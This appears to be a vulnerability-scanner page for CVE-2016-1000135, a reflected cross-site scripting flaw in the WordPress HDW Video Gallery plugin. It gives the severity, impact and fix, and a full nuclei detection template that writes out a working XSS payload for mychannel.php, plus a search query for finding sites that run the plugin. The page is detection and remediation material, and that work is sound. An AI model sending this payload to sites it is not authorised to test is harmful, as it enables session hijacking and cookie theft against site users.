WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via mychannel.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress HDW Video Gallery plugin (>=1.3) which includes a fix for this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/hdw-tube/readme.txt
Positive when: contains "HDW WordPress Video Gallery"
Send: GET {{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000135 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000135

info:
  name: WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via mychannel.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress HDW Video Gallery plugin (>=1.3) which includes a fix for this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=533
    - https://wordpress.org/plugins/hdw-tube
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000135
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000135
    cwe-id: CWE-79
    epss-score: 0.0465
    epss-percentile: 0.91811
    cpe: cpe:2.3:a:hdw-tube_project:hdw-tube:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "hdw-tube_project"
    product: "hdw-tube"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/hdw-tube\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,hdw-tube_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'HDW WordPress Video Gallery'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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